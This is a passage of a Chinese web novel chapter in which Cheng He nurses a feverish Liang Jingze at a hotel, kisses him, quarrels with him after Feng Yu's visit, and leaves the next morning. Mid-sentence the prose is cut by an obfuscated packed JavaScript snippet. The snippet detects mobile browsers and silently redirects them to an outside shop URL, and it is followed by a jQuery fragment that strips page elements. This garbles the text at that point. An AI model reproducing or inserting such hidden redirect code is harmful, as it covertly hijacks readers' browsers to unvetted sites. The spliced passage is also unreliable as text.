“抱歉”两字一出,程禾顿时觉得自己的心脏像是被一只无形的大手握住反复揉捻,又酸又涩,痛的她喘不过气。
程禾猛地站起身。
她咬咬唇,居高临下看着他,越看越觉得这人用心险恶。
生病了故意找她陪,不需要了就甩开是吧。
这是报复她呢。
梁敬则,怎么这么可恶呢。
程禾扬脸看着衣架上的输液瓶,透明液体一点一滴顺着管子流进他的身体。
视线往上,盖在脸上的被子不知道什么时候滑了下来,露出他整张英挺的脸,唇色依然是淡淡的,微微抿着,像是梦到了什么不开心的事,脸上带着抵触。
管他呢,程禾想,她今天又出时间又出力凭什么去空手回去,就算以后桥归桥,路归路她也不能吃亏。
她又重新轻轻做到床边,静静看着梁敬则,想到一会儿她要做什么,心脏跳得像战鼓。
她伸手摸了摸梁敬则的额头,汗津津的,冰凉一片,已经退烧了。
程禾缓缓弯下腰,屏住呼吸,飞快的蜻蜓点水般吻了他嘴唇一下,软软的滑滑的。
反正她已经费非礼过他一次了,一次两次有什么区别。
她心安理得地做完坏事,正要撤退。后脖颈突然被一只大手一压,整个人险些栽倒他身上。
程禾被抓包,大脑一片空白,惊慌失措间后脑勺被压低,梁敬则的唇毫无预兆的贴上她。
程禾脸腾地红了一片。
她挣扎着要起身,可梁敬则接下来的动作直接让她软了身子。
他不满足唇瓣浅浅的触碰,舌尖强势的撬开她的牙关,舔舐嘬吮,时不时溢出几声水渍搅动的声响。
生理上的靠近无法抵触,梁敬则一直很会接吻,程禾对此根本没有抵抗力。
全都乱了。
程禾整个人都被他身上温暖的气息包裹着,她眯起眼睛想看他的神情,梁敬则大梦初醒般松开了她。
疯狂的热情如潮水般褪去,他偏过头,两人唇瓣骤然分开发出“波”的一声,程禾不防备,随着他侧身躲避嘴唇落在他脖颈处,她埋在他身上,温热的呼吸带着馨香喷洒在他滚动的喉咙上。
梁敬则半阖着眼睛轻喘了几下后屏息沉默。
滴瓶内的液体已经见底,程禾起身给他拔掉针,她拇指稍用力按着针孔,胶带上缓缓晕开一小块血迹,过了一会儿,血迹不再扩大。
她移开手,将空瓶子,透明管全都收进塑料袋。
梁敬则回神慢慢撑起身半靠着,脸上病殃殃的,有点苍白。
他静静看着程禾将两手翻飞,利落地将塑料袋打了个结。
“我刚才——”他哑声道。
“我去扔个瓶子,”程禾生硬地打断,她心里很乱,很乱,她深知人在思绪混乱的时候不要做任何重要的决定。
她需要时间捋捋。
“曹凯刚刚发消息说他们到酒店了,我去拿房卡。”
说完她也不等梁敬则讲话,逃也似地溜出门。
门被轻轻带上,梁敬则重重吐了口浊气,仰头后脑勺抵在贴着壁纸的墙面上,他闭紧眼睛,突出的喉结上下滚了滚,眉宇间隐隐透出挫败和倦色。
冯玉推门进来时,就见梁敬则闭着眼睛捏了捏眉心,看也不看她,神情罕见地带着几分无可奈何。
“程禾,我们好好聊聊吧。”
“聊什么?不如跟我聊。”
清丽温柔的声线带着南方女人的黏糊。
梁敬则刷地瞭开眼皮,见冯玉走上前。
“你怎么来了?”他问。
————
半夜,走廊里寂静无声,头顶的灯光昏暗,地上铺着柔软的红黑繁文的地毯,脚踩在地上软绵绵的。
程禾硬压下去的烟瘾又冒出了头。她后背靠着走廊边的墙,脚尖杵在地面上,转着脚踝玩。
时间一分一秒过去。
冯玉已经进去半个小时了。
半个小时前她拎着垃圾袋扔进垃圾桶,乘电梯下楼,曹凯发消息说自己在前台。
她收起手机,电梯刚打开,迎面撞上了刚要进电梯的几人。
曹凯和夏静冉并行在前面,低头笑嘻嘻地打闹,后面一名身材高挑的女人带着墨镜口罩,遮得严严实实。
这么气派的,也就冯玉了。
程禾一出电梯,就被夏静冉上前一步拦住了手臂。
“程禾,我哥还好吗?。”
“阿则怎么样了?”
夏静冉和曹凯默契开口问她。
冯玉双手抱臂,黑漆漆的镜片朝向程禾。
程禾仿佛没看见冯玉的眼神,跟着三人重新进了电梯,“已经退烧了,应该没什么大事了,明天早上最好再去医院复诊一下。”
“那就好。”
曹凯掏出一张房卡递给程禾,对她说,“今天太感谢你了。”
程禾摇摇头。
三人聊了几句,冯玉一直没开口,在角落里静静听着几人交谈,镜片后的眼睛不止一次掠过程禾的小脸。
电梯门开,冯玉率先出去,高傲地直接往梁敬则的房间走去。
夏静冉不喜欢她那股傲劲儿,在后边做了个鬼脸,撇了撇嘴,她跟曹凯对视一眼,本打算去看一眼梁敬则,听程禾说没什么大事她们也放下心来,两人累得不行一拍两散,各自回了屋。
程禾的房间就在梁敬则旁边,鬼使神差的,她没进屋休息,站在外边等着冯玉出来。
半个小时过去了,客套话说尽也该出来了。
两个单身熟男熟女在房间里超过半小时,傻子也能知道他们在干什么。
程禾握紧手里的卡又松开,上前两步刷卡“滴”一声,开锁进屋,她一脚把门踢上,“砰”地震得门后的挂钩摇摇欲坠。
十分钟后,梁敬则的房门被敲响。
门从内打开,梁敬则抬眼看见程禾,任由门开着,丢下一句:“进来。”转身进了屋。
程禾双手交叉抱在胸前,一副不好相与的模样。
她站着不动扬了扬下巴,眼睛不动声色在他屋内转了一圈。
冯玉已经走了。
“我的包麻烦给我。”她伸手讨要。
“自己进来拿。”
程禾站着不动,盯着门框上被蹭掉一块漆的地方,阴阳怪气道:“我可不想打扰了你的好事。”
接着,一阵天旋地转,残影闪过她没有防备直接被一只手拽进了屋。
身后的门“哐当” 合上,她的后背抵在坚硬冰凉的门上。
“你干什——”程禾低呼。
她双手被钳制住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647052|203136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
举过头顶。
梁敬则高大的身躯压上来,一团黑影笼罩着,程禾对视上他黑漆漆的眼睛,那双含情的桃花眼带着她读不懂的情绪,如有实质落在她身上。
他淡着脸说:“我的好事?程禾,遇见你后我就没有过好事。”
程禾睫毛抖了抖,别开脸。
梁敬则将她的心虚看在眼里,他控制不住自己的怒气。
“你以什么立场在这里质问我?”
程禾承受不住,在他怀里扭动,梁敬则眸色黑沉沉的,低头侧脸直直吻上去。
他摇头在她唇上蹭了又蹭,唇瓣摩擦生出几分热意,程禾不动了。
“程禾,你告诉我,”他压抑过头,竟然笑出声,似情人在她耳边呢喃。
“你刚刚是在吃醋吗?”
程禾僵住,喉咙干涩像棉花堵住。
梁敬则像是看不见她的难堪,又或许是根本不在乎。他鼻尖贴上她的鼻尖,边若即若离吻她,边似讥似讽地挑拨她脆弱敏感,几近崩溃的神经。
“你那个国外的男朋友知道你在这儿照顾别的男人吗?嗯?”
“嗯,知道你在这儿吃别的男人的醋吗?”
“他知道我们现在在做什么?”
“你怎么面对他?程禾,”他哼笑一声说,“别跟我说,跟我分手你后悔了。”
“我没那么贱。”
“放松点,”梁敬则喟叹,一副好商量的语气,“这样吧,你想搞段婚外情我也可以陪你玩玩好不好。”
室内静默,他在等她回答。
程禾屏息几秒,轻飘飘,“好啊,你敢吗?”
梁敬则脊背一顿,他终于甩开她,后退几步,冷冷地说:“程禾,你还知道什么叫羞耻吗?”
话已至此,程禾不屑地笑笑,“要你教我?”
她头也不回拎着自己的包离开房间。
这次算她自取其辱,就这一次。
——
次日清晨,程禾起了个大早,剧组人员已经在酒店吃完早饭整装待发。
几辆白色面包车排成一队陆陆续续驶离停车场。
程禾将包扔回自己车上,掏出兜里的房卡敲了敲曹凯旁边的车窗。
曹凯放下玻璃窗,接过卡,笑着问她:“怎么不多睡会儿?昨天照顾他怪累的吧。”他手还没拍上副驾驶某人的肩,就被甩开。
他扭头瞪了一眼拉着张脸的梁敬则。
“什么毛病!”曹凯嘀嘀咕咕。
生了场病又原形毕露了,本来他觉得梁敬则这段之间好相处了些,在剧组骂人的频率都少很多。
果然是错觉。
曹凯只敢偷偷诽谤,见程禾半天不讲话,他扭头去看她,发现她早走远了。
曹凯挑挑眉。
这两人吵架了?
他摸摸下巴,胳膊肘戳了戳梁敬则满脸戏谑:“程禾怎么今天心情这么差?昨天还好好的。”
“你走不走?”梁敬则不耐烦皱眉。
曹凯:走走。
十一月底,北方路边的树叶已经酥黄焦脆落了满地,汽车轮胎碾过顷刻间碎成粉末。
程禾是新手,车速缓慢,没一会儿就被甩在后边,她跟在剧组车后,在一个分叉口转变方向,拐入一条弯弯曲曲的羊肠小道,抄小路去镇上找费莲惠。